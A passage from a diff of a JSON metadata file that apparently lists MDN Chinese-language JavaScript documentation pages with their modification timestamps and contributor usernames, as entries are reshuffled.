"AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/proto": { + "modified": "2020-10-15T21:20:42.886Z", + "contributors": [ + "milyyy", + "Ende93", + "rjdangcc", + "HIKALU-Z", + "Btista", + "trotyl", + "wolyshaw", "xgqfrms-GitHub", - "DarwinniwraD", - "kiyonlin", + "eeeeeeeason", "Howard.Chen", - "ianfung1998", - "liadbiz", - "snandy", + "Wayme", + "lisniuse", + "redcool007", + "Leslie2014", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/seal": { + "modified": "2020-10-15T21:04:46.777Z", + "contributors": [ + "1997Liusheng", + "acejerry", + "zhangchen", + "cwwjie", + "toBeTheLight", + "zixiangTang", + "AlexChao", "teoli", "ziyunfei", - "AriesDevil", - "Joyce" + "monthev" ] }, - "Web/JavaScript/Guide/JavaScript_Overview": { - "modified": "2019-03-23T23:36:14.828Z", + "Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf": { + "modified": "2020-10-15T21:23:41.066Z", "contributors": [ - "MrMario", - "ReyCG_sub", + "zhuguibiao", + "fengma", + "xgqfrms-GitHub", + "kameii", + "inJs", + "xuzhijun", + "helm", "teoli", - "LieGroup", - "rogersuen" + "ziyunfei" ] }, - "Web/JavaScript/Guide/Keyed_collections": { - "modified": "2020-03-12T19:41:31.376Z", + "Web/JavaScript/Reference/Global_Objects/Object/toLocaleString": { + "modified": "2020-10-15T21:28:39.035Z", "contributors": [ - "haoye999", - "Jiasm", + "ShirleyM", + "Humyang", "zhangchen", - "jiahui", - "indux", - "supermanmsc", - "fengzhongye" + "AlexChao" ] }, - "Web/JavaScript/Guide/Loops_and_iteration": { - "modified": "2020-03-12T19:42:07.957Z", + "Web/JavaScript/Reference/Global_Objects/Object/toSource": { + "modified": "2020-10-15T21:21:01.572Z", "contributors": [ - "koor", - "narutojian", - "RainSlide", - "Wuqichao", - "SphinxKnight", - "zero_zero_zero", - "zhuangyin", - "Zheng7426", - "Bob_young", - "xiaowei.yang", - "johncido", + "qiu_han", + "zhangchen", "xgqfrms-GitHub", - "xdsnet", - "codetaro", - "suxiesumiao", - "AcJoker", - "kavon", - "lushunming", - "MurphyL", - "wumouse", - "intuitionfly" + "keller0", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Guide/Meta_programming": { - "modified": "2020-10-06T11:58:28.618Z", + "Web/JavaScript/Reference/Global_Objects/Object/toString": { + "modified": "2020-10-15T21:22:00.834Z", "contributors": [ - "SeekerGAO", - "suvyme", "RainSlide", - "OStoneO", - "rikochyou", + "jbbjs", + "johnlin0207", "zhangchen", - "123456zzz", - "pamikel", "xgqfrms-GitHub", - "hpcherry", - "zyMacro", - "cughudson_1", - "acekingke", - "binhex", - "FredWe" + "wizardforcel", + "Hugh", + "sabrinaluo", + "AlexChao", + "ziyunfei", + "ZhouMengkang", + "teoli" ] }, - "Web/JavaScript/Guide/Modules": { - "modified": "2020-10-15T22:19:12.670Z", + "Web/JavaScript/Reference/Global_Objects/Object/valueOf": { + "modified": "2020-10-15T21:19:19.149Z", "contributors": [ - "ran", - "PPFei5Zhou", - "bkuke", - "StorytellerF", - "Yayure", - "narutojian", - "RainSlide", - "hotbaby" + "microJ", + "ywjco", + "zhangchen", + "zilong-thu", + "jimwmg", + "Ende93", + "helloguangxue", + "paddingme", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Guide/Numbers_and_dates": { - "modified": "2020-12-12T05:50:13.576Z", + "Web/JavaScript/Reference/Global_Objects/Object/values": { + "modified": "2020-10-15T21:42:31.053Z", "contributors": [ - "柳涤尘", - "antield", - "symant233", - "迷子碳", - "qazsweet", - "canyi1942", - "fenyu", - "adasqg", - "zms1995", - "trionfo1993", - "ShaderWind", - "vividlai", - "yonglezhou", - "DaiZhiTao", - "jitingsun", - "niccoming", - "xiaokk06", - "sgr", - "suxiesumiao", - "victor0801x", - "zhulinpinyu", - "williamchu123", - "ShiJianwen", - "zhe13", - "Toweave", - "Serifx", - "456wyc", - "wenxiangmao" + "Bayes", + "RoXoM", + "ywjco", + "zhangchen", + "spiritree", + "percy507", + "maicss", + "xgqfrms-GitHub", + "Hushabyme", + "webery" ] }, - "Web/JavaScript/Guide/Regular_Expressions": { - "modified": "2020-11-07T12:19:15.360Z", + "Web/JavaScript/Reference/Global_Objects/Promise": { + "modified": "2020-11-09T05:18:40.533Z", "contributors": [ - "hensonxu", - "imbriansun", - "Alibuibui", - "srq18211", - "symant233", - "MikeLeon23", - "antield", - "zytjs", - "jingkaimori", - "aliasliao", - "Clara-hy", - "yasen-wolf", - "cody343960591", - "PoppinL", - "cy234", - "RainSlide", - "pzjzeason", - "millionssss", - "iamwwc", - "Yayure", - "Checkson", - "crow-n", - "yadex", - "OlingCat", - "Fungzhe", - "ts0307", - "jianglinghao", - "SphinxKnight", - "AlexStacker", - "zhuangyin", - "Ahhaha233", - "yinsang", - "fengma", - "chenym1992", - "ataotao", - "lixingdecai", - "bmxklYzj", - "Frantic1048", - "hysunny", + "13126767772", + "Neo42", + "NickH", + "jackyKin", + "SandBoat", + "xgqfrms", + "woniuxingdong", + "ourai", + "w1687021088", + "xianghui-ma", + "42", + "SterileSummer", + "ZhechenLi", + "kyriejoshua", + "DHclly", + "Jiang-Xuan", + "filosfino", + "dandanbu3", + "suwu150", + "YISHI", + "Debugger-D", + "winjeysong", + "sjz2259696", + "NoroHime", + "SunApriloy", + "xutao", + "_da", + "wYhooo", + "tangHanSan", + "ThaddeusJiang", + "lindaxiao-hust", "xgqfrms-GitHub", - "Ckc", - "Jeff-Kook", - "ljy", - "maoxiaoke", - "falltodis", - "codetaro", - "simongfxu", - "fanyj1994", - "huaxiabuluo", - "lvhao96", - "luobotang", - "yisibl", - "ngtmuzi", - "chen_wang", + "HenryYong", "Ende93", - "sunshineMaria", - "snowsolf", - "sleep", - "Shimo", - "Guanjinke", - "teoli", - "sablib", - "thesadboy", - "devqin", - "jpuncle", - "xiaoxiong", - "ziyunfei" + "liujun121533", + "pot-code", + "lihx_hit", + "sensui7", + "udoless", + "dingxu", + "AnnAngela", + "excosy", + "billcz", + "Yidada", + "hipop", + "dear-lizhihua", + "xuanxiao2013", + "fskuok", + "mountainmoon", + "Fantasy_shao" ] }, - "Web/JavaScript/Guide/Regular_Expressions/Assertions": { - "modified": "2020-11-07T12:07:11.701Z", + "Web/JavaScript/Reference/Global_Objects/Promise/Promise": { + "modified": "2020-10-15T22:27:28.549Z", "contributors": [ - "hensonxu", - "srq18211", - "oxyg3n", - "zytjs", - "fish-inu", - "Dev_ljp", - "Xu-Angel", - "liuhao088" + "GYN" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Promise/all": { + "modified": "2020-12-13T19:21:55.259Z", + "contributors": [ + "hamishwillee", + "可能你对强有什么误解", + "xgqfrms", + "Debugger-D", + "moldray", + "kite-js", + "gemmi", + "Jiang-Xuan", + "BearZ", + "higrw", + "xgqfrms-GitHub", + "rollinhup", + "Hushabyme", + "iugo", + "billcz", + "zilong-thu", + "fskuok" ] }, - "Web/JavaScript/Guide/Regular_Expressions/Boundaries": { - "modified": "2020-10-30T11:36:06.394Z", + "Web/JavaScript/Reference/Global_Objects/Promise/allSettled": { + "modified": "2020-11-21T01:58:43.408Z", "contributors": [ - "phone-burner" + "xgqfrms", + "wowoqu", + "mountainmoon", + "chrisdavidmills", + "zhangchen", + "bangbang93", + "RoXoM", + "youngboy", + "SphinxKnight", + "jiaqunying" ] }, - "Web/JavaScript/Guide/Regular_Expressions/Character_Classes": { - "modified": "2020-06-28T13:35:45.679Z", + "Web/JavaScript/Reference/Global_Objects/Promise/any": { + "modified": "2020-10-27T03:51:15.177Z", "contributors": [ - "srq18211" + "SphinxKnight", + "mashuiquan", + "damengzhang", + "laampui", + "XLCYun", + "zhangchen", + "yinguangyao" ] }, - "Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges": { - "modified": "2020-08-21T07:28:58.610Z", + "Web/JavaScript/Reference/Global_Objects/Promise/catch": { + "modified": "2020-10-15T21:31:34.215Z", "contributors": [ - "srq18211" + "oldmtn", + "xycd", + "banli17", + "zhishaofei3", + "SheltonDong", + "Yevvb", + "HsuanLee", + "xgqfrms-GitHub", + "Hushabyme", + "fskuok", + "mountainmoon" ] }, - "Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes": { - "modified": "2020-07-11T06:10:35.787Z", + "Web/JavaScript/Reference/Global_Objects/Promise/finally": { + "modified": "2020-10-15T22:01:56.341Z", "contributors": [ - "zkmbdbbdd" + "WangLeto", + "zhangchen", + "Pada", + "ZQ-jhon", + "sudoor", + "ziclee", + "zhengzongyi", + "hoshino111" ] }, - "Web/JavaScript/Guide/Regular_Expressions/量词": { - "modified": "2020-06-28T13:50:25.946Z", + "Web/JavaScript/Reference/Global_Objects/Promise/race": { + "modified": "2020-10-15T21:34:18.502Z", "contributors": [ - "srq18211" + "Cuixote", + "lastnigtic", + "zhangchen", + "Jiang-Xuan", + "xgqfrms-GitHub", + "zhang-quan-yi", + "Hushabyme", + "fskuok" ] }, - "Web/JavaScript/Guide/Text_formatting": { - "modified": "2020-07-13T05:48:34.741Z", + "Web/JavaScript/Reference/Global_Objects/Promise/reject": { + "modified": "2020-10-15T21:34:10.841Z", "contributors": [ - "laampui", "zhangchen", - "niccoming", - "evolighting", - "i-PeterZhang", - "456wyc", - "redman9", - "guangxiyu" + "ChauMing", + "Flcwl", + "SphinxKnight", + "fskuok" ] }, - "Web/JavaScript/Guide/Using_promises": { - "modified": "2020-09-28T05:37:42.938Z", + "Web/JavaScript/Reference/Global_Objects/Promise/resolve": { + "modified": "2020-10-15T21:36:39.943Z", "contributors": [ - "Radix10", - "xuquentinyang", - "HashiKudo", - "brizer", - "iEmcc", - "johnao", - "abellong", - "SAM.L", - "RainSlide", - "VickyJin", - "jessica1990", - "TeabugCC", - "zhuangyin", - "ujsxn", - "huixisheng", - "yulongjing", - "rxliuli", - "yonoel", - "DevOps", - "brandonhyc", - "eeeecw", - "zotille", - "xuziang111", - "NN708", - "xuxun", + "inlym", + "ly023", "zhangchen", - "Evoque", - "Pythonofsdc", - "vanishcode", - "winjeysong", - "cwc7233", - "TimmyKingFree" + "xiaoxiyao", + "rockedpanda", + "cyancity", + "Jiang-Xuan", + "fscholz", + "nineSean", + "purple_force", + "Zhangjd", + "ylc395" ] }, - "Web/JavaScript/Guide/Working_with_Objects": { - "modified": "2020-03-21T00:54:40.101Z", + "Web/JavaScript/Reference/Global_Objects/Promise/then": { + "modified": "2020-10-15T21:31:32.284Z", "contributors": [ - "johnao", - "fish-inu", - "ngtmuzi", - "Pomelo1213", - "ywjco", - "kramon", - "kgojiwong", + "BadmasterY", + "RainSlide", + "zrefrain", + "triboby", + "litbear", + "love999262", + "Jiang-Xuan", + "LiXin", + "WenWu92", + "Kylin.this", + "HsuanLee", "xgqfrms-GitHub", - "heliangb46", - "Grizzly-Eric", - "zhanglianxin", - "coderfee", - "kiyonlin", - "IrisZhang", - "xwartz", - "Darkoe", - "XueSeason", - "jigs12", - "ReyCG_sub", - "smartkid", - "teoli", - "koala", - "ziyunfei" + "Ende93", + "Hushabyme", + "RandyLoop", + "hipop", + "liuyiqian", + "fskuok", + "mountainmoon" ] }, - "Web/JavaScript/Inheritance_and_the_prototype_chain": { - "modified": "2020-10-20T00:17:44.610Z", + "Web/JavaScript/Reference/Global_Objects/Proxy": { + "modified": "2020-11-29T05:45:07.225Z", "contributors": [ - "jack_chen", - "Nirvana-zsy", - "PiersZhang", - "YTInMyHeart", - "熊英明", - "AaronZzz", - "hydra-zim", - "demongodYY", - "c932828964", - "maozhenyu123", - "NicholasKong", - "Huangyilin19", - "MonkingStand", + "saifeiLee", + "VicterSun", "RainSlide", - "xulinggege", - "Rayyh", - "glud123", - "HuangXiZhou", - "Ieeebruce", - "Snailight", - "yonoel", - "lllbahol", - "ssttii", - "xgqfrms", - "DPJune1", - "MQpeng", - "yangzi", - "zhuangyin", - "anglli", - "Akiq2016", - "jeasonstudio", - "Sevenskey", - "LiXin", - "qiu_han", - "zhangchen", - "keifergu", - "jiangzhenggeng", - "DendiSe7enGitHub", - "zenith7ryu", - "feiyuabc", - "KngZhi", + "Hilshire", + "liuguanyu", "xgqfrms-GitHub", - "efeencheung", - "TwinkleLeon", - "jyjz2008", - "Mrzouning", - "craney", - "Ende93", - "nanflower", - "Ares_Xu", - "RenzHoly", - "xiaokk06", - "Musan", - "Downpooooour", - "maicss", - "iplus26", - "gavinjs", + "zhangchen", + "Lave", + "gaoupon", + "kdex", + "gaopeng", + "07akioni", + "wzx", + "Go7hic", + "WarriorWu", + "Katherina-Miao", "ziyunfei", - "hbkdsm", - "hipop", - "860136", - "Tranch", - "ReyCG", - "teoli", - "hutuxu" + "teoli" ] }, - "Web/JavaScript/Introduction_to_Object-Oriented_JavaScript": { - "modified": "2020-03-12T19:38:08.916Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy": { + "modified": "2020-10-15T22:33:06.804Z", "contributors": [ - "huijing", - "SAM.L", - "NarK", - "umiyevol", - "daix6", - "ashjs", - "sabrinaluo", - "xanarry", - "fskuok", - "hackerZhang", - "hipop", - "jamesliuhk", - "awp0011", - "ryanouyang", - "yiding_he", - "teoli", - "yimity", - "shiyutang", - "xcffl" + "zhanghaoxu0128" ] }, - "Web/JavaScript/Introduction_to_using_XPath_in_JavaScript": { - "modified": "2019-03-23T23:53:50.408Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/revocable": { + "modified": "2020-10-15T21:32:15.521Z", "contributors": [ - "chrisdavidmills", - "zhanglianxin", - "zengguanming", - "fscholz", - "ziyunfei", - "Cuimingda" + "RainSlide", + "SphinxKnight", + "ziyunfei" ] }, - "Web/JavaScript/JavaScript_technologies_overview": { - "modified": "2020-03-12T19:38:44.101Z", + "Web/JavaScript/Reference/Global_Objects/RangeError": { + "modified": "2019-03-23T22:27:07.051Z", "contributors": [ - "RainSlide", - "zhanglianxin", - "lunix01", - "Musan", - "ReyCG_sub", - "teoli", - "YuQiang.Yuan" + "wizardforcel", + "MurphyL", + "yatace" ] }, - "Web/JavaScript/Language_Resources": { - "modified": "2020-03-12T19:37:56.380Z", + "Web/JavaScript/Reference/Global_Objects/ReferenceError": { + "modified": "2019-03-23T22:52:45.441Z", "contributors": [ - "lunix01", - "teoli", - "ziyunfei" + "funroller", + "Tienyz" ] }, - "Web/JavaScript/Memory_Management": { - "modified": "2020-03-12T19:38:33.297Z", + "Web/JavaScript/Reference/Global_Objects/Reflect": { + "modified": "2020-10-15T21:38:03.417Z", "contributors": [ - "y00rb", - "xueliang", - "leavesster", - "quding0308", - "liujuntao123", - "JuneDeng2014", - "ilexwg", - "DarrenMan", - "zhangchen", - "micooz", - "sunnylost", + "tita0x00", + "LeonDWong", + "z1948296027", + "ZhangWei-KUMO", + "Akenokoru", "Ende93", - "wth", - "timwangdev", - "jackyKin", - "horizon0514", - "knightf", - "Bosn", - "teoli", - "Samoay", - "tank", - "jnoodle", - "Joe_Zhao", + "AlixWang", + "tanggd", + "Tommy-White", + "linzx1993", + "RoXoM", + "zhangchen", + "xgqfrms-GitHub", + "mo-n", + "wzx", "ziyunfei" ] }, - "Web/JavaScript/Reference": { - "modified": "2020-09-20T23:15:37.162Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/apply": { + "modified": "2020-10-15T21:46:16.764Z", "contributors": [ - "laampui", - "seanhuai", - "wwj402", - "RainSlide", - "ssttii", - "causal", - "zhangchen", "Ende93", - "lunix01", - "ziyunfei", - "teoli", - "CHiENiUS", - "kovchou" + "IAIAE" ] }, - "Web/JavaScript/Reference/About": { - "modified": "2020-03-12T19:40:27.168Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/construct": { + "modified": "2020-07-16T14:15:43.959Z", "contributors": [ - "Jack-Q", - "lunix01", - "qlxiao520", - "ziyunfei", - "yenshen" + "oxyg3n", + "caolvchong", + "xiaoxionganna", + "tornoda", + "sqqihao" ] }, - "Web/JavaScript/Reference/Classes": { - "modified": "2020-11-21T07:35:29.331Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty": { + "modified": "2020-10-15T21:51:24.597Z", "contributors": [ - "xiaoxiao1024", - "xgqfrms", - "niices", - "showad", - "xuyimingwork", - "zytjs", - "brizer", - "johnao", - "PeanutQAQ", - "HermitSun", - "narutojian", - "JackDing1208", - "willerhehehe", - "zhangchen", - "llyo", - "LiXin", - "xgqfrms-GitHub", - "LouisaNikita", - "winjeysong", - "PhilTheAir", - "XiongAmao", - "kylezhang", - "tarma", - "Jeane", - "Ende93", - "miuchan", - "slientomorrr", - "ziyunfei", - "eric183", - "sartrey", - "snandy", - "bumaociyuan" + "laampui", + "tornoda", + "charlesthink", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Classes/Class_elements": { - "modified": "2020-10-15T22:22:33.437Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty": { + "modified": "2019-07-05T03:12:53.100Z", "contributors": [ - "Fogwind", - "wxyads" + "tornoda", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Classes/Private_class_fields": { - "modified": "2020-10-15T22:30:12.129Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/get": { + "modified": "2020-10-15T21:51:21.601Z", "contributors": [ - "zhuangyin", - "symant233", - "wizard-intraining" + "stupidsongshu", + "tornoda", + "AozakiOrenji", + "Hushabyme", + "EpsilonYi" ] }, - "Web/JavaScript/Reference/Classes/constructor": { - "modified": "2020-10-15T21:36:30.986Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor": { + "modified": "2019-03-23T22:20:49.977Z", "contributors": [ - "zhangchen", - "CJackYang", - "jiangseventeen", - "xgqfrms-GitHub", - "Ende93", - "destinyCherry", - "MarxJiao", - "chaooo", - "Lellansin" + "RoXoM", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Classes/extends": { - "modified": "2020-10-15T21:37:25.638Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf": { + "modified": "2020-10-15T21:51:25.998Z", "contributors": [ - "zhangchen", - "thinkershare", - "liuwj", - "xgqfrms-GitHub", - "MoYahoo", - "Ende93", - "xiaoweb", - "ziyunfei", - "TinyJiang", - "pixiu" + "徐鹏跃", + "RoXoM", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Classes/static": { - "modified": "2020-10-15T21:37:45.068Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/has": { + "modified": "2019-03-18T21:00:09.070Z", + "contributors": [ + "sjpeter", + "IAIAE" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible": { + "modified": "2019-03-23T22:20:41.186Z", + "contributors": [ + "cxftj", + "Hushabyme" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys": { + "modified": "2020-10-15T21:51:25.621Z", "contributors": [ - "daijie", - "luna666", - "zhuangyin", - "xgqfrms-GitHub", "zhangchen", - "hijiangtao", - "MrCuriosity", - "kameii", - "solome", - "ngtmuzi", - "willwong", - "knightf", - "lunix01" + "liuy1994", + "Hushabyme" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions": { + "modified": "2020-10-15T21:51:26.999Z", + "contributors": [ + "Astroleander", + "RoXoM", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Deprecated_and_obsolete_features": { - "modified": "2020-03-30T11:15:40.777Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/set": { + "modified": "2020-10-15T21:51:25.331Z", "contributors": [ - "RainSlide", - "teoli", - "ziyunfei" + "zero7u", + "AozakiOrenji", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol": { - "modified": "2020-03-12T19:44:37.222Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf": { + "modified": "2020-10-15T21:51:25.701Z", "contributors": [ - "wwj402", - "jwhitlock", - "lsvih" + "徐鹏跃", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Errors": { - "modified": "2020-03-12T19:43:37.546Z", + "Web/JavaScript/Reference/Global_Objects/RegExp": { + "modified": "2020-12-10T23:34:38.471Z", "contributors": [ + "ruienger", + "jingkaimori", + "空杉心雨后", + "ll009366", "Ende93", - "Jack-Q", - "sabertazimi" + "fanerge", + "daijie", + "wbamberg", + "zhuangyin", + "YoungChen", + "myl0204", + "xgqfrms-GitHub", + "kiling", + "biaocy", + "fuchao2012", + "shuata", + "xgqfrms", + "KingMario", + "vbnjfhty", + "y8n", + "tabooc", + "jamesxu", + "teoli", + "AlexChao", + "chyee", + "Darrel.Hsu", + "photino", + "ziyunfei", + "fishenal", + "akawhy", + "shi_zheng", + "GreatHan", + "Hans huang", + "Mickeyboy" ] }, - "Web/JavaScript/Reference/Errors/Already_has_pragma": { - "modified": "2020-03-12T19:45:25.142Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/@@match": { + "modified": "2020-10-15T21:49:08.862Z", "contributors": [ - "wizardforcel" + "Ende93", + "wizardforcel", + "boatlet" ] }, - "Web/JavaScript/Reference/Errors/Array_sort_argument": { - "modified": "2020-03-12T19:45:22.429Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/@@matchAll": { + "modified": "2020-10-15T22:16:46.561Z", "contributors": [ - "hui1993", - "Ende93" + "c1er" ] }, - "Web/JavaScript/Reference/Errors/Bad_octal": { - "modified": "2020-03-12T19:45:19.888Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/@@replace": { + "modified": "2020-10-15T21:54:34.957Z", "contributors": [ - "WayneCui", - "Ende93" + "javenl", + "LeoQuote", + "876843240", + "fanyer" ] }, - "Web/JavaScript/Reference/Errors/Bad_radix": { - "modified": "2020-03-12T19:44:42.812Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/@@search": { + "modified": "2019-03-23T22:11:28.976Z", "contributors": [ - "xiaokk06" + "fanyer" ] }, - "Web/JavaScript/Reference/Errors/Bad_regexp_flag": { - "modified": "2020-03-12T19:46:18.624Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/@@species": { + "modified": "2019-03-23T22:18:27.389Z", "contributors": [ - "lazyboywu" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Bad_return_or_yield": { - "modified": "2020-03-12T19:44:37.026Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/@@split": { + "modified": "2019-08-22T23:28:14.164Z", "contributors": [ - "wangmengjun", - "Cattla" + "fangyulovechina", + "fanyer" ] }, - "Web/JavaScript/Reference/Errors/Called_on_incompatible_type": { - "modified": "2020-03-12T19:46:49.645Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/RegExp": { + "modified": "2020-10-15T22:33:53.145Z", "contributors": [ - "WayneCui" + "jingkaimori" ] }, - "Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init": { - "modified": "2020-03-12T19:46:25.675Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/compile": { + "modified": "2019-03-23T22:22:52.399Z", "contributors": [ - "kilodleif", - "WayneCui" + "kameii" ] }, - "Web/JavaScript/Reference/Errors/Cant_access_property": { - "modified": "2020-03-12T19:48:25.216Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/dotAll": { + "modified": "2020-10-15T22:16:46.676Z", "contributors": [ - "zangguodong" + "c1er" ] }, - "Web/JavaScript/Reference/Errors/Cant_define_property_object_not_extensible": { - "modified": "2020-03-12T19:46:26.772Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/exec": { + "modified": "2020-10-15T21:26:53.403Z", "contributors": [ - "WayneCui" + "CarrotB", + "dear-lizhihua", + "PageYe", + "righttoe", + "shiddong", + "ibufu", + "nandayaduo", + "Marco_dev", + "xgqfrms-GitHub", + "hangyangws", + "LiiiiittleRain", + "paddingme", + "baiya", + "teoli", + "AlexChao", + "ziyunfei", + "LinusYu" ] }, - "Web/JavaScript/Reference/Errors/Cant_delete": { - "modified": "2020-03-12T19:45:31.865Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/flags": { + "modified": "2019-07-04T23:57:57.114Z", "contributors": [ - "lihx_hit", "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Cant_redefine_property": { - "modified": "2020-03-12T19:46:26.214Z", - "contributors": [ - "WayneCui" - ] - }, - "Web/JavaScript/Reference/Errors/Cyclic_object_value": { - "modified": "2020-07-13T11:27:10.484Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/global": { + "modified": "2019-07-04T23:58:07.262Z", "contributors": [ - "Mrdapeng", - "540692039", - "nansanhao", - "WayneCui" + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Dead_object": { - "modified": "2020-03-12T19:46:28.473Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase": { + "modified": "2019-07-04T23:54:43.220Z", "contributors": [ - "WayneCui" + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Delete_in_strict_mode": { - "modified": "2020-03-12T19:46:25.179Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/input": { + "modified": "2019-04-16T05:59:34.644Z", "contributors": [ - "WayneCui" + "gh1031", + "teoli", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Deprecated_String_generics": { - "modified": "2020-03-12T19:46:39.182Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex": { + "modified": "2019-07-04T23:55:43.642Z", "contributors": [ - "WayneCui" + "teoli", + "AlexChao", + "ziyunfei", + "Wjsl" ] }, - "Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage": { - "modified": "2020-03-12T19:45:21.241Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch": { + "modified": "2019-03-23T22:18:26.965Z", "contributors": [ - "Ende93" + "teoli", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Deprecated_expression_closures": { - "modified": "2020-03-12T19:46:34.964Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/lastParen": { + "modified": "2019-03-23T22:18:27.095Z", "contributors": [ - "WayneCui" + "teoli", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Deprecated_octal": { - "modified": "2020-03-12T19:46:39.086Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/leftContext": { + "modified": "2019-03-23T22:18:24.587Z", "contributors": [ - "WayneCui" + "teoli", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma": { - "modified": "2020-03-12T19:45:31.617Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/multiline": { + "modified": "2019-07-04T23:59:21.859Z", "contributors": [ - "Kaede_Shinoda", - "Ende93" + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat": { - "modified": "2020-03-12T19:46:45.691Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/n": { + "modified": "2019-07-12T00:53:55.955Z", "contributors": [ - "WayneCui" + "teoli", + "fengma", + "xgqfrms-GitHub", + "AlixWang" ] }, - "Web/JavaScript/Reference/Errors/Equal_as_assign": { - "modified": "2020-03-12T19:44:21.268Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/rightContext": { + "modified": "2019-03-23T22:18:24.457Z", "contributors": [ - "niaodan2b" + "teoli", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated": { - "modified": "2020-03-12T19:45:01.286Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/source": { + "modified": "2019-07-04T23:56:46.237Z", "contributors": [ - "_da" + "ziyunfei", + "yenshen" ] }, - "Web/JavaScript/Reference/Errors/Getter_only": { - "modified": "2020-03-12T19:46:35.397Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/sticky": { + "modified": "2020-10-15T21:51:29.415Z", "contributors": [ - "WayneCui" + "Ende93", + "Ahhaha233", + "wenmin92" ] }, - "Web/JavaScript/Reference/Errors/Identifier_after_number": { - "modified": "2020-03-12T19:46:01.632Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/test": { + "modified": "2020-11-19T10:20:16.081Z", "contributors": [ - "AlanStewart6", - "fanxiaobin1992" + "zhuangyin", + "ReedSun", + "symant233", + "ridiculousjam", + "zqyue", + "xgqfrms-GitHub", + "kameii", + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Illegal_character": { - "modified": "2020-03-12T19:46:25.974Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/toSource": { + "modified": "2019-07-04T23:42:36.181Z", "contributors": [ - "WayneCui" + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Invalid_array_length": { - "modified": "2020-03-12T19:44:25.874Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/toString": { + "modified": "2019-07-04T23:42:41.541Z", "contributors": [ - "xiaokk06", - "Hitomichan" + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side": { - "modified": "2020-03-12T19:44:25.285Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/unicode": { + "modified": "2019-07-04T23:59:38.859Z", "contributors": [ - "Ende93" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Invalid_const_assignment": { - "modified": "2020-03-12T19:46:37.514Z", + "Web/JavaScript/Reference/Global_Objects/Set": { + "modified": "2020-11-10T03:33:00.037Z", "contributors": [ - "WayneCui" + "SphinxKnight", + "Ongve", + "Ende93", + "wallena3", + "woshiqiang1", + "houzp", + "MYWProgram", + "zhuangyin", + "zhangchen", + "Jiang-Xuan", + "buckarooch", + "xgqfrms-GitHub", + "CoCooCo", + "JJPandari", + "tang45", + "xdsnet", + 